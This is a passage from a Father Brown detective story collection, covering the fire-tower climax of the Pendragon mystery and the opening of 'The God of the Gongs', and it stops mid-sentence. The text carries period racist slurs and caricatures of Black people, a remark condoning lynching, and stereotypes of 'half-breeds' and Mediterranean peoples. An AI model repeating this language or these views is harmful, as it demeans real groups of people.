brown sixteenth-century map with Tritons +and little ships dotted about a curly sea. But such things were +less prominent on the white panelling than some cases of quaint-coloured +South American birds, very scientifically stuffed, fantastic shells +from the Pacific, and several instruments so rude and queer in shape +that savages might have used them either to kill their enemies or +to cook them. But the alien colour culminated in the fact that, +besides the butler, the Admiral's only servants were two negroes, +somewhat quaintly clad in tight uniforms of yellow. The priest's +instinctive trick of analysing his own impressions told him that +the colour and the little neat coat-tails of these bipeds had suggested +the word "Canary," and so by a mere pun connected them with +southward travel. Towards the end of the dinner they took their +yellow clothes and black faces out of the room, leaving only +the black clothes and yellow face of the butler. + + "I'm rather sorry you take this so lightly," said Fanshaw to the host; +"for the truth is, I've brought these friends of mine with the idea +of their helping you, as they know a good deal of these things. +Don't you really believe in the family story at all?" + + "I don't believe in anything," answered Pendragon very briskly, +with a bright eye cocked at a red tropical bird. "I'm a man of science." + + Rather to Flambeau's surprise, his clerical friend, +who seemed to have entirely woken up, took up the digression and +talked natural history with his host with a flow of words and +much unexpected information, until the dessert and decanters were +set down and the last of the servants vanished. Then he said, +without altering his tone. + + "Please don't think me impertinent, Admiral Pendragon. I don't +ask for curiosity, but really for my guidance and your convenience. +Have I made a bad shot if I guess you don't want these old things +talked of before your butler?" + + The Admiral lifted the hairless arches over his eyes and exclaimed: +"Well, I don't know where you got it, but the truth is I can't stand +the fellow, though I've no excuse for discharging a family servant. +Fanshaw, with his fairy tales, would say my blood moved against men +with that black, Spanish-looking hair." + + Flambeau struck the table with his heavy fist. "By Jove!" he cried; +"and so had that girl!" + + "I hope it'll all end tonight," continued the Admiral, +"when my nephew comes back safe from his ship. You looked surprised. +You won't understand, I suppose, unless I tell you the story. +You see, my father had two sons; I remained a bachelor, +but my elder brother married, and had a son who became a sailor +like all the rest of us, and will inherit the proper estate. +Well, my father was a strange man; he somehow combined Fanshaw's +superstition with a good deal of my scepticism--they were always +fighting in him; and after my first voyages, he developed a notion +which he thought somehow would settle finally whether the curse +was truth or trash. If all the Pendragons sailed about anyhow, +he thought there would be too much chance of natural catastrophes +to prove anything. But if we went to sea one at a time in strict order +of succession to the property, he thought it might show whether any +connected fate followed the family as a family. It was a silly notion, +I think, and I quarrelled with my father pretty heartily; for I was +an ambitious man and was left to the last, coming, by succession, +after my own nephew." + + "And your father and brother," said the priest, very gently, +"died at sea, I fear." + + "Yes," groaned the Admiral; "by one of those brutal accidents +on which are built all the lying mythologies of mankind, +they were both shipwrecked. My father, coming up this coast +out of the Atlantic, was washed up on these Cornish rocks. +My brother's ship was sunk, no one knows where, on the voyage home +from Tasmania. His body was never found. I tell you it was +from perfectly natural mishap; lots of other people besides Pendragons +were drowned; and both disasters are discussed in a normal way +by navigators. But, of course, it set this forest of superstition on fire; +and men saw the flaming tower everywhere. That's why I say it will +be all right when Walter returns. The girl he's engaged to was +coming today; but I was so afraid of some chance delay frightening her +that I wired her not to come till she heard from me. But he's practically +sure to be here some time tonight, and then it'll all end in smoke-- +tobacco smoke. We'll crack that old lie when we crack a bottle +of this wine." + + "Very good wine," said Father Brown, gravely lifting his glass, +"but, as you see, a very bad wine-bibber. I most sincerely +beg your pardon": for he had spilt a small spot of wine on +the table-cloth. He drank and put down the glass with a composed face; +but his hand had started at the exact moment when he became conscious +of a face looking in through the garden window just behind the Admiral-- +the face of a woman, swarthy, with southern hair and eyes, and young, +but like a mask of tragedy. + + After a pause the priest spoke again in his mild manner. +"Admiral," he said, "will you do me a favour? Let me, and my friends +if they like, stop in that tower of yours just for tonight? +Do you know that in my business you're an exorcist almost before +anything else?" + + Pendragon sprang to his feet and paced swiftly to and fro +across the window, from which the face had instantly vanished. +"I tell you there is nothing in it," he cried, with ringing violence. +"There is one thing I know about this matter. You may call me an atheist. +I am an atheist." Here he swung round and fixed Father Brown with a face +of frightful concentration. "This business is perfectly natural. +There is no curse in it at all." + + Father Brown smiled. "In that case," he said, "there can't be +any objection to my sleeping in your delightful summer-house." + + "The idea is utterly ridiculous," replied the Admiral, +beating a tattoo on the back of his chair. + + "Please forgive me for everything," said Brown in his most +sympathetic tone, "including spilling the wine. But it seems to me +you are not quite so easy about the flaming tower as you try to be." + + Admiral Pendragon sat down again as abruptly as he had risen; +but he sat quite still, and when he spoke again it was in a lower voice. +"You do it at your own peril," he said; "but wouldn't you be an atheist +to keep sane in all this devilry?" + + Some three hours afterwards Fanshaw, Flambeau and the priest +were still dawdling about the garden in the dark; and it began to dawn +on the other two that Father Brown had no intention of going to bed +either in the tower or the house. + + "I think the lawn wants weeding," said he dreamily. +"If I could find a spud or something I'd do it myself." + + They followed him, laughing and half remonstrating; but he replied +with the utmost solemnity, explaining to them, in a maddening little sermon, +that one can always find some small occupation that is helpful to others. +He did not find a spud; but he found an old broom made of twigs, +with which he began energetically to brush the fallen leaves off the grass. + + "Always some little thing to be done," he said with +idiotic cheerfulness; "as George Herbert says: `Who sweeps +an Admiral's garden in Cornwall as for Thy laws makes that and +the action fine.' And now," he added, suddenly slinging the broom away, +"Let's go and water the flowers." + + With the same mixed emotions they watched him uncoil some +considerable lengths of the large garden hose, saying with an air of +wistful discrimination: "The red tulips before the yellow, I think. +Look a bit dry, don't you think?" + + He turned the little tap on the instrument, and the water shot out +straight and solid as a long rod of steel. + + "Look out, Samson," cried Flambeau; "why, you've cut off +the tulip's head." + + Father Brown stood ruefully contemplating the decapitated plant. + + "Mine does seem to be a rather kill or cure sort of watering," +he admitted, scratching his head. "I suppose it's a pity I didn't +find the spud. You should have seen me with the spud! Talking of tools, +you've got that swordstick, Flambeau, you always carry? That's right; +and Sir Cecil could have that sword the Admiral threw away +by the fence here. How grey everything looks!" + + "The mist's rising from the river," said the staring Flambeau. + + Almost as he spoke the huge figure of the hairy gardener appeared +on a higher ridge of the trenched and terraced lawn, hailing them with +a brandished rake and a horribly bellowing voice. "Put down that hose," +he shouted; "put down that hose and go to your--" + + "I am fearfully clumsy," replied the reverend gentleman weakly; +"do you know, I upset some wine at dinner." He made a wavering +half-turn of apology towards the gardener, with the hose still spouting +in his hand. The gardener caught the cold crash of the water +full in his face like the crash of a cannon-ball; staggered, +slipped and went sprawling with his boots in the air. + + "How very dreadful!" said Father Brown, looking round in +a sort of wonder. "Why, I've hit a man!" + + He stood with his head forward for a moment as if +looking or listening; and then set off at a trot towards the tower, +still trailing the hose behind him. The tower was quite close, +but its outline was curiously dim. + + "Your river mist," he said, "has a rum smell." + + "By the Lord it has," cried Fanshaw, who was very white. +"But you can't mean--" + + "I mean," said Father Brown, "that one of the Admiral's scientific +predictions is coming true tonight. This story is going to end in smoke." + + As he spoke a most beautiful rose-red light seemed to burst +into blossom like a gigantic rose; but accompanied with a crackling +and rattling noise that was like the laughter of devils. + + "My God! what is this?" cried Sir Cecil Fanshaw. + + "The sign of the flaming tower," said Father Brown, and sent +the driving water from his hose into the heart of the red patch. + + "Lucky we hadn't gone to bed!" ejaculated Fanshaw. "I suppose +it can't spread to the house." + + "You may remember," said the priest quietly, "that the wooden fence +that might have carried it was cut away." + + Flambeau turned electrified eyes upon his friend, but Fanshaw +only said rather absently: "Well, nobody can be killed, anyhow." + + "This is rather a curious kind of tower," observed Father Brown, +"when it takes to killing people, it always kills people +who are somewhere else." + + At the same instant the monstrous figure of the gardener with +the streaming beard stood again on the green ridge against the sky, +waving others to come on; but now waving not a rake but a cutlass. +Behind him came the two negroes, also with the old crooked cutlasses +out of the trophy. But in the blood-red glare, with their black faces +and yellow figures, they looked like devils carrying instruments of torture. +In the dim garden behind them a distant voice was heard calling out +brief directions. When the priest heard the voice, a terrible change +came over his countenance. + + But he remained composed; and never took his eye off +the patch of flame which had begun by spreading, but now seemed +to shrink a little as it hissed under the torch of the long silver spear +of water. He kept his finger along the nozzle of the pipe to ensure the aim, +and attended to no other business, knowing only by the noise and +that semi-conscious corner of the eye, the exciting incidents that +began to tumble themselves about the island garden. He gave two brief +directions to his friends. One was: "Knock these fellows down somehow +and tie them up, whoever they are; there's rope down by those faggots. +They want to take away my nice hose." The other was: "As soon as you +get a chance, call out to that canoeing girl; she's over on the bank +with the gipsies. Ask her if they could get some buckets across +and fill them from the river." Then he closed his mouth and continued +to water the new red flower as ruthlessly as he had watered the red tulip. + + He never turned his head to look at the strange fight that +followed between the foes and friends of the mysterious fire. +He almost felt the island shake when Flambeau collided with +the huge gardener; he merely imagined how it would whirl round them +as they wrestled. He heard the crashing fall; and his friend's +gasp of triumph as he dashed on to the first negro; and the cries +of both the blacks as Flambeau and Fanshaw bound them. +Flambeau's enormous strength more than redressed the odds in the fight, +especially as the fourth man still hovered near the house, +only a shadow and a voice. He heard also the water broken by +the paddles of a canoe; the girl's voice giving orders, +the voices of gipsies answering and coming nearer, the plumping and +sucking noise of empty buckets plunged into a full stream; and finally +the sound of many feet around the fire. But all this was less to him +than the fact that the red rent, which had lately once more increased, +had once more slightly diminished. + + Then came a cry that very nearly made him turn his head. +Flambeau and Fanshaw, now reinforced by some of the gipsies, +had rushed after the mysterious man by the house; and he heard from +the other end of the garden the Frenchman's cry of horror and astonishment. +It was echoed by a howl not to be called human, as the being broke +from their hold and ran along the garden. Three times at least +it raced round the whole island, in a way that was as horrible as +the chase of a lunatic, both in the cries of the pursued and the ropes +carried by the pursuers; but was more horrible still, because it somehow +suggested one of the chasing games of children in a garden. +Then, finding them closing in on every side, the figure sprang upon +one of the higher river banks and disappeared with a splash +into the dark and driving river. + + "You can do no more, I fear," said Brown in a voice cold with pain. +"He has been washed down to the rocks by now, where he has sent +so many others. He knew the use of a family legend." + + "Oh, don't talk in these parables," cried Flambeau impatiently. +"Can't you put it simply in words of one syllable?" + + "Yes," answered Brown, with his eye on the hose. "`Both eyes bright, +she's all right; one eye blinks, down she sinks.'" + + The fire hissed and shrieked more and more, like a strangled thing, +as it grew narrower and narrower under the flood from the pipe and buckets, +but Father Brown still kept his eye on it as he went on speaking: + + "I thought of asking this young lady, if it were morning yet, +to look through that telescope at the river mouth and the river. +She might have seen something to interest her: the sign of the ship, +or Mr Walter Pendragon coming home, and perhaps even the sign of +the half-man, for though he is certainly safe by now, he may very well +have waded ashore. He has been within a shave of another shipwreck; +and would never have escaped it, if the lady hadn't had the sense +to suspect the old Admiral's telegram and come down to watch him. +Don't let's talk about the old Admiral. Don't let's talk about anything. +It's enough to say that whenever this tower, with its pitch and resin-wood, +really caught fire, the spark on the horizon always looked like +the twin light to the coast light-house." + + "And that," said Flambeau, "is how the father and brother died. +The wicked uncle of the legends very nearly got his estate after all." + + Father Brown did not answer; indeed, he did not speak again, +save for civilities, till they were all safe round a cigar-box in +the cabin of the yacht. He saw that the frustrated fire was extinguished; +and then refused to linger, though he actually heard young Pendragon, +escorted by an enthusiastic crowd, come tramping up the river bank; +and might (had he been moved by romantic curiosities) have received +the combined thanks of the man from the ship and the girl from the canoe. +But his fatigue had fallen on him once more, and he only started once, +when Flambeau abruptly told him he had dropped cigar-ash on his trousers. + + "That's no cigar-ash," he said rather wearily. "That's from the fire, +but you don't think so because you're all smoking cigars. +That's just the way I got my first faint suspicion about the chart." + + "Do you mean Pendragon's chart of his Pacific Islands?" asked Fanshaw. + + "You thought it was a chart of the Pacific Islands," answered Brown. +"Put a feather with a fossil and a bit of coral and everyone will +think it's a specimen. Put the same feather with a ribbon and +an artificial flower and everyone will think it's for a lady's hat. +Put the same feather with an ink-bottle, a book and a stack +of writing-paper, and most men will swear they've seen a quill pen. +So you saw that map among tropic birds and shells and thought it was +a map of Pacific Islands. It was the map of this river." + + "But how do you know?" asked Fanshaw. + + "I saw the rock you thought was like a dragon, and the one +like Merlin, and--" + + "You seem to have noticed a lot as we came in," cried Fanshaw. +"We thought you were rather abstracted." + + "I was sea-sick," said Father Brown simply. "I felt simply horrible. +But feeling horrible has nothing to do with not seeing things." +And he closed his eyes. + + "Do you think most men would have seen that?" asked Flambeau. +He received no answer: Father Brown was asleep. + + + + + NINE + + + The God of the Gongs + + +IT was one of those chilly and empty afternoons in early winter, +when the daylight is silver rather than gold and pewter rather than silver. +If it was dreary in a hundred bleak offices and yawning drawing-rooms, +it was drearier still along the edges of the flat Essex coast, +where the monotony was the more inhuman for being broken +at very long intervals by a lamp-post that looked less civilized +than a tree, or a tree that looked more ugly than a lamp-post. +A light fall of snow had half-melted into a few strips, also looking leaden +rather than silver, when it had been fixed again by the seal of frost; +no fresh snow had fallen, but a ribbon of the old snow ran along +the very margin of the coast, so as to parallel the pale ribbon of the foam. + + The line of the sea looked frozen in the very vividness of +its violet-blue, like the vein of a frozen finger. For miles and miles, +forward and back, there was no breathing soul, save two pedestrians, +walking at a brisk pace, though one had much longer legs and took +much longer strides than the other. + + It did not seem a very appropriate place or time for a holiday, +but Father Brown had few holidays, and had to take them when he could, +and he always preferred, if possible, to take them in company with +his old friend Flambeau, ex-criminal and ex-detective. The priest had +had a fancy for visiting his old parish at Cobhole, and was going +north-eastward along the coast. + + After walking a mile or two farther, they found that the shore was +beginning to be formally embanked, so as to form something like a parade; +the ugly lamp-posts became less few and far between and more ornamental, +though quite equally ugly. Half a mile farther on Father Brown +was puzzled first by little labyrinths of flowerless flower-pots, +covered with the low, flat, quiet-coloured plants that look less like +a garden than a tessellated pavement, between weak curly paths studded +with seats with curly backs. He faintly sniffed the atmosphere of +a certain sort of seaside town that be did not specially care about, +and, looking ahead along the parade by the sea, he saw something that +put the matter beyond a doubt. In the grey distance the big bandstand +of a watering-place stood up like a giant mushroom with six legs. + + "I suppose," said Father Brown, turning up his coat-collar +and drawing a woollen scarf rather closer round his neck, +"that we are approaching a pleasure resort." + + "I fear," answered Flambeau, "a pleasure resort to which +few people just now have the pleasure of resorting. They try to +revive these places in the winter, but it never succeeds except with +Brighton and the old ones. This must be Seawood, I think-- +Lord Pooley's experiment; he had the Sicilian Singers down at Christmas, +and there's talk about holding one of the great glove-fights here. +But they'll have to chuck the rotten place into the sea; +it's as dreary as a lost railway-carriage." + + They had come under the big bandstand, and the priest was +looking up at it with a curiosity that had something rather odd about it, +his head a little on one side, like a bird's. It was the conventional, +rather tawdry kind of erection for its purpose: a flattened dome +or canopy, gilt here and there, and lifted on six slender pillars +of painted wood, the whole being raised about five feet above the parade +on a round wooden platform like a drum. But there was something +fantastic about the snow combined with something artificial about +the gold that haunted Flambeau as well as his friend with +some association he could not capture, but which he knew was at once +artistic and alien. + + "I've got it," he said at last. "It's Japanese. It's like +those fanciful Japanese prints, where the snow on the mountain +looks like sugar, and the gilt on the pagodas is like gilt on gingerbread. +It looks just like a little pagan temple." + + "Yes," said Father Brown. "Let's have a look at the god." +And with an agility hardly to be expected of him, he hopped up +on to the raised platform. + + "Oh, very well," said Flambeau, laughing; and the next instant +his own towering figure was visible on that quaint elevation. + + Slight as was the difference of height, it gave in those level wastes +a sense of seeing yet farther and farther across land and sea. +Inland the little wintry gardens faded into a confused grey copse; +beyond that, in the distance, were long low barns of a lonely farmhouse, +and beyond that nothing but the long East Anglian plains. +Seawards there was no sail or sign of life save a few seagulls: +and even they looked like the last snowflakes, and seemed to float +rather than fly. + + Flambeau turned abruptly at an exclamation behind him. +It seemed to come from lower down than might have been expected, +and to be addressed to his heels rather than his head. He instantly +held out his hand, but he could hardly help laughing at what he saw. +For some reason or other the platform had given way under Father Brown, +and the unfortunate little man had dropped through to the level +of the parade. He was just tall enough, or short enough, +for his head alone to stick out of the hole in the broken wood, +looking like St John the Baptist's head on a charger. The face wore +a disconcerted expression, as did, perhaps, that of St John the Baptist. + + In a moment he began to laugh a little. "This wood must be rotten," +said Flambeau. "Though it seems odd it should bear me, and you go through +the weak place. Let me help you out." + + But the little priest was looking rather curiously at the corners +and edges of the wood alleged to be rotten, and there was a sort of trouble +on his brow. + + "Come along," cried Flambeau impatiently, still with his big +brown hand extended. "Don't you want to get out?" + + The priest was holding a splinter of the broken wood between +his finger and thumb, and did not immediately reply. At last he said +thoughtfully: "Want to get out? Why, no. I rather think I want +to get in." And he dived into the darkness under the wooden floor +so abruptly as to knock off his big curved clerical hat and leave it +lying on the boards above, without any clerical head in it. + + Flambeau looked once more inland and out to sea, and once more +could see nothing but seas as wintry as the snow, and snows as level +as the sea. + + There came a scurrying noise behind him, and the little priest +came scrambling out of the hole faster than he had fallen in. +His face was no longer disconcerted, but rather resolute, and, +perhaps only through the reflections of the snow, a trifle paler than usual. + + + "Well?" asked his tall friend. "Have you found the god +of the temple?" + + "No," answered Father Brown. "I have found what was sometimes +more important. The Sacrifice." + + "What the devil do you mean?" cried Flambeau, quite alarmed. + + Father Brown did not answer. He was staring, with a knot +in his forehead, at the landscape; and he suddenly pointed at it. +"What's that house over there?" he asked. + + Following his finger, Flambeau saw for the first time the corners +of a building nearer than the farmhouse, but screened for the most part +with a fringe of trees. It was not a large building, and stood well back +from the shore--, but a glint of ornament on it suggested that it was +part of the same watering-place scheme of decoration as the bandstand, +the little gardens and the curly-backed iron seats. + + Father Brown jumped off the bandstand, his friend following; +and as they walked in the direction indicated the trees fell away +to right and left, and they saw a small, rather flashy hotel, +such as is common in resorts--the hotel of the Saloon Bar rather than +the Bar Parlour. Almost the whole frontage was of gilt plaster and +figured glass, and between that grey seascape and the grey, +witch-like trees, its gimcrack quality had something spectral +in its melancholy. They both felt vaguely that if any food or drink +were offered at such a hostelry, it would be the paste-board ham +and empty mug of the pantomime. + + In this, however, they were not altogether confirmed. As they drew +nearer and nearer to the place they saw in front of the buffet, +which was apparently closed, one of the iron garden-seats with curly backs +that had adorned the gardens, but much longer, running almost +the whole length of the frontage. Presumably, it was placed so that +visitors might sit there and look at the sea, but one hardly expected +to find anyone doing it in such weather. + + Nevertheless, just in front of the extreme end of the iron seat +stood a small round restaurant table, and on this stood +a small bottle of Chablis and a plate of almonds and raisins. +Behind the table and on the seat sat a dark-haired young man, +bareheaded, and gazing at the sea in a state of almost +astonishing immobility. + + But though he might have been a waxwork when they were within +four yards of him, he jumped up like a jack-in-the-box when they +came within three, and said in a deferential, though not undignified, +manner: "Will you step inside, gentlemen? I have no staff at present, +but I can get you anything simple myself." + + "Much obliged," said Flambeau. "So you are the proprietor?" + + "Yes," said the dark man, dropping back a little into +his motionless manner. "My waiters are all Italians, you see, +and I thought it only fair they should see their countryman beat the black, +if he really can do it. You know the great fight between Malvoli and +Nigger Ned is coming off after all?" + + "I'm afraid we can't wait to trouble your hospitality seriously," +said Father Brown. "But my friend would be glad of a glass of sherry, +I'm sure, to keep out the cold and drink success to the Latin champion." + + Flambeau did not understand the sherry, but he did not object to it +in the least. He could only say amiably: "Oh, thank you very much." + + "Sherry, sir--certainly," said their host, turning to his hostel. +"Excuse me if I detain you a few minutes. As I told you, +I have no staff--" And he went towards the black windows of +his shuttered and unlighted inn. + + "Oh, it doesn't really matter," began Flambeau, but the man +turned to reassure him. + + "I have the keys," he said. "I could find my way in the dark." + + "I didn't mean--" began Father Brown. + + He was interrupted by a bellowing human voice that came +out of the bowels of the uninhabited hotel. It thundered +some foreign name loudly but inaudibly, and the hotel proprietor +moved more sharply towards it than he had done for Flambeau's sherry. +As instant evidence proved, the proprietor had told, then and after, +nothing but the literal truth. But both Flambeau and Father Brown +have often confessed that, in all their (often outrageous) adventures, +nothing had so chilled their blood as that voice of an ogre, +sounding suddenly out of a silent and empty inn. + + "My cook!" cried the proprietor hastily. "I had forgotten my cook. +He will be starting presently. Sherry, sir?" + + And, sure enough, there appeared in the doorway a big white bulk +with white cap and white apron, as befits a cook, but with +the needless emphasis of a black face. Flambeau had often heard +that negroes made good cooks. But somehow something in the contrast +of colour and caste increased his surprise that the hotel proprietor +should answer the call of the cook, and not the cook the call +of the proprietor. But he reflected that head cooks are proverbially +arrogant; and, besides, the host had come back with the sherry, +and that was the great thing. + + "I rather wonder," said Father Brown, "that there are so few people +about the beach, when this big fight is coming on after all. +We only met one man for miles." + + The hotel proprietor shrugged his shoulders. "They come from +the other end of the town, you see--from the station, three miles from here. +They are only interested in the sport, and will stop in hotels +for the night only. After all, it is hardly weather for +basking on the shore." + + "Or on the seat," said Flambeau, and pointed to the little table. + + "I have to keep a look-out," said the man with the motionless face. +He was a quiet, well-featured fellow, rather sallow; his dark clothes +had nothing distinctive about them, except that his black necktie +was worn rather high, like a stock, and secured by a gold pin +with some grotesque head to it. Nor was there anything notable +in the face, except something that was probably a mere nervous trick-- +a habit of opening one eye more narrowly than the other, +giving the impression that the other was larger, or was, +perhaps, artificial. + + The silence that ensued was broken by their host saying quietly: +"Whereabouts did you meet the one man on your march?" + + "Curiously enough," answered the priest, "close by here-- +just by that bandstand." + + Flambeau, who had sat on the long iron seat to finish his sherry, +put it down and rose to his feet, staring at his friend in amazement. +He opened his mouth to speak, and then shut it again. + + "Curious," said the dark-haired man thoughtfully. "What was he like?" + + "It was rather dark when I saw him," began Father Brown, +"but he was--" + + As has been said, the hotel-keeper can be proved to have told +the precise truth. His phrase that the cook was starting presently +was fulfilled to the letter, for the cook came out, pulling his gloves on, +even as they spoke. + + But he was a very different figure from the confused mass +of white and black that had appeared for an instant in the doorway. +He was buttoned and buckled up to his bursting eyeballs in the most +brilliant fashion. A tall black hat was tilted on his broad black head-- +a hat of the sort that the French wit has compared to eight mirrors. +But somehow the black man was like the black hat. He also was black, +and yet his glossy skin flung back the light at eight angles or more. +It is needless to say that he wore white spats and a white slip inside +his waistcoat. The red flower stood up in his buttonhole aggressively, +as if it had suddenly grown there. And in the way he carried his cane +in one hand and his cigar in the other there was a certain attitude-- +an attitude we must always remember when we talk of racial prejudices: +something innocent and insolent--the cake walk. + + "Sometimes," said Flambeau, looking after him, "I'm not surprised +that they lynch them." + + "I am never surprised," said Father Brown, "at any work of hell. +But as I was saying," he resumed, as the negro, still ostentatiously +pulling on his yellow gloves, betook himself briskly towards +the watering-place, a queer music-hall figure against that grey and +frosty scene--"as I was saying, I couldn't describe the man very minutely, +but he had a flourish and old-fashioned whiskers and moustachios, +dark or dyed, as in the pictures of foreign financiers, round his neck +was wrapped a long purple scarf that thrashed out in the wind as he walked. +It was fixed at the throat rather in the way that nurses +fix children's comforters with a safety-pin. Only this," +added the priest, gazing placidly out to sea, "was not a safety-pin." + + The man sitting on the long iron bench was also gazing placidly +out to sea. Now he was once more in repose. Flambeau felt quite certain +that one of his eyes was naturally larger than the other. +Both were now well opened, and he could almost fancy the left eye +grew larger as he gazed. + + "It was a very long gold pin, and had the carved head of a monkey +or some such thing," continued the cleric; "and it was fixed +in a rather odd way--he wore pince-nez and a broad black--" + + The motionless man continued to gaze at the sea, and the eyes in +his head might have belonged to two different men. Then he made +a movement of blinding swiftness. + + Father Brown had his back to him, and in that flash might have +fallen dead on his face. Flambeau had no weapon, but his large +brown hands were resting on the end of the long iron seat. +His shoulders abruptly altered their shape, and he heaved +the whole huge thing high over his head, like a headsman's axe +about to fall. The mere height of the thing, as he held it vertical, +looked like a long iron ladder by which he was inviting men to climb +towards the stars. But the long shadow, in the level evening light, +looked like a giant brandishing the Eiffel Tower. It was the shock +of that shadow, before the shock of the iron crash, that made the stranger +quail and dodge, and then dart into his inn, leaving the flat and +shining dagger he had dropped exactly where it had fallen. + + "We must get away from here instantly," cried Flambeau, +flinging the huge seat away with furious indifference on the beach. +He caught the little priest by the elbow and ran him down +a grey perspective of barren back garden, at the end of which there +was a closed back garden door. Flambeau bent over it an instant +in violent silence, and then said: "The door is locked." + + As he spoke a black feather from one of the ornamental firs fell, +brushing the brim of his hat. It startled him more than the small +and distant detonation that had come just before. Then came another +distant detonation, and the door he was trying to open shook +under the bullet buried in it. Flambeau's shoulders again filled out +and altered suddenly. Three hinges and a lock burst at the same instant, +and he went out into the empty path behind, carrying the great garden door +with him, as Samson carried the gates of Gaza. + + Then he flung the garden door over the garden wall, just as +a third shot picked up a spurt of snow and dust behind his heel. +Without ceremony he snatched up the little priest, slung him astraddle +on his shoulders, and went racing towards Seawood as fast as +his long legs could carry him. It was not until nearly two miles +farther on that he set his small companion down. It had hardly been +a dignified escape, in spite of the classic model of Anchises, +but Father Brown's face only wore a broad grin. + + "Well," said Flambeau, after an impatient silence, as they resumed +their more conventional tramp through the streets on the edge of the town, +where no outrage need be feared, "I don't know what all this means, +but I take it I may trust my own eyes that you never met the man +you have so accurately described." + + "I did meet him in a way," Brown said, biting his finger +rather nervously--"I did really. And it was too dark to see him properly, +because it was under that bandstand affair. But I'm afraid I didn't +describe him so very accurately after all, for his pince-nez +was broken under him, and the long gold pin wasn't stuck through +his purple scarf but through his heart." + + "And I suppose," said the other in a lower voice, "that glass-eyed guy +had something to do with it." + + "I had hoped he had only a little," answered Brown +in a rather troubled voice, "and I may have been wrong in what I did. +I acted on impulse. But I fear this business has deep roots and dark." + + They walked on through some streets in silence. The yellow lamps +were beginning to be lit in the cold blue twilight, and they were +evidently approaching the more central parts of the town. +Highly coloured bills announcing the glove-fight between Nigger Ned +and Malvoli were slapped about the walls. + + "Well," said Flambeau, "I never murdered anyone, even in +my criminal days, but I can almost sympathize with anyone doing it +in such a dreary place. Of all God-forsaken dustbins of Nature, +I think the most heart-breaking are places like that bandstand, +that were meant to be festive and are forlorn. I can fancy a morbid man +feeling he must kill his rival in the solitude and irony of such a scene. +I remember once taking a tramp in your glorious Surrey hills, +thinking of nothing but gorse and skylarks, when I came out on +a vast circle of land, and over me lifted a vast, voiceless structure, +tier above tier of seats, as huge as a Roman amphitheatre and as empty +as a new letter-rack. A bird sailed in heaven over it. It was +the Grand Stand at Epsom. And I felt that no one would ever +be happy there again." + + "It's odd you should mention Epsom," said the priest. +"Do you remember what was called the Sutton Mystery, because two +suspected men--ice-cream men, I think--happened to live at Sutton? +They were eventually released. A man was found strangled, it was said, +on the Downs round that part. As a fact, I know (from an Irish policeman +who is a friend of mine) that he was found close up to the Epsom +Grand Stand--in fact, only hidden by one of the lower doors being +pushed back." + + "That is queer," assented Flambeau. "But it rather confirms +my view that such pleasure places look awfully lonely out of season, +or the man wouldn't have been murdered there." + + "I'm not so sure he--" began Brown, and stopped. + + "Not so sure he was murdered?" queried his companion. + + "Not so sure he was murdered out of the season," answered +the little priest, with simplicity. "Don't you think there's something +rather tricky about this solitude, Flambeau? Do you feel sure +a wise murderer would always want the spot to be lonely? +It's very, very seldom a man is quite alone. And, short of that, +the more alone he is, the more certain he is to be seen. +No; I think there must be some other--Why, here we are at +the Pavilion or Palace, or whatever they call it." + + They had emerged on a small square, brilliantly lighted, +of which the principal building was gay with gilding, gaudy with posters, +and flanked with two giant photographs of Malvoli and Nigger Ned. + + "Hallo!" cried Flambeau in great surprise, as his clerical friend +stumped straight up the broad steps. "I didn't know pugilism was +your latest hobby. Are you going to see the fight?" + + "I don't think there will be any fight," replied Father Brown. + + They passed rapidly through ante-rooms and inner rooms; +they passed through the hall of combat itself, raised, roped, +and padded with innumerable seats and boxes, and still the cleric did +not look round or pause till he came to a clerk at a desk outside +a door marked "Committee". There he stopped and asked to see Lord Pooley. + + The attendant observed that his lordship was very busy, +as the fight was coming on soon, but Father Brown had a good-tempered +tedium of reiteration for which the official mind is generally not prepared. +In a few moments the rather baffled Flambeau found himself in the presence +of a man who was still shouting directions to another man going out of +the room. "Be careful, you know, about the ropes after the fourth-- +Well, and what do you want, I wonder!" + + Lord Pooley was a gentleman, and, like most of the few remaining +to our race, was worried--especially about money. He was half grey +and half flaxen, and he had the eyes of fever and a high-bridged, +frost-bitten nose. + + "Only a word," said Father Brown. "I have come to prevent +a man being killed." + + Lord Pooley bounded off his chair as if a spring had +flung him from it. "I'm damned if I'll stand any more of this!" +he cried. "You and your committees and parsons and petitions! +Weren't there parsons in the old days, when they fought without gloves? +Now they're fighting with the regulation gloves, and there's not +the rag of a possibility of either of the boxers being killed." + + "I didn't mean either of the boxers," said the little priest. + + "Well, well, well!" said the nobleman, with a touch of frosty humour. +"Who's going to be killed? The referee?" + + "I don't know who's going to be killed," replied Father Brown, +with a reflective stare. "If I did I shouldn't have to +spoil your pleasure. I could simply get him to escape. +I never could see anything wrong about prize-fights. As it is, +I must ask you to announce that the fight is off for the present." + + "Anything else?" jeered the gentleman with feverish eyes. +"And what do you say to the two thousand people who have come to see it?" + + "I say there will be one thousand nine-hundred and ninety-nine +of them left alive when they have seen it," said Father Brown. + + Lord Pooley looked at Flambeau. "Is your friend mad?" he asked. + + "Far from it," was the reply. + + "And took here," resumed Pooley in his restless way, +"it's worse than that. A whole pack of Italians have turned up +to back Malvoli--swarthy, savage fellows of some country, anyhow. +You know what these Mediterranean races are like. If I send out word +that it's off we shall have Malvoli storming in here at the head of +a whole Corsican clan." + + "My lord, it is a matter of life and death," said the priest. +"Ring your bell. Give your message. And see whether it is Malvoli +who answers." + + The nobleman struck the bell on the table with an odd air +of new curiosity. He said to the clerk who appeared almost instantly +in the doorway: "I have a serious announcement to make to the audience +shortly. Meanwhile, would you kindly tell the two champions that +the fight will have to be put off." + + The clerk stared for some seconds as if at a demon and vanished. + + "What authority have you for what you say?" asked Lord Pooley +abruptly. "Whom did you consult?" + + "I consulted a bandstand," said Father Brown, scratching his head. +"But, no, I'm wrong; I consulted a book, too. I picked it up +on a bookstall in London--very cheap, too." + + He had taken out of his pocket a small, stout, leather-bound volume, +and Flambeau, looking over his shoulder, could see that it was some +book of old travels, and had a leaf turned down for reference. + + "`The only form in which Voodoo--'" began Father Brown, reading aloud. + + "In which what?" inquired his lordship. + + "`In which Voodoo,'" repeated the reader, almost with relish, +"`is widely organized outside Jamaica itself is in the form known as +the Monkey, or the God of the Gongs, which is powerful in many parts of +the two American continents, especially among half-breeds, many of whom +look exactly like white men. It differs from most other forms +of devil-worship and human sacrifice in the fact that the blood +is not shed formally on the altar, but by a sort of assassination +among the crowd. The gongs beat with a deafening din as +the doors of the shrine open and the monkey-god is revealed; +almost the whole congregation rivet ecstatic eyes on him. But after--'" + + The door of the room was flung open, and the fashionable negro +stood framed in it, his eyeballs rolling, his silk hat still insolently 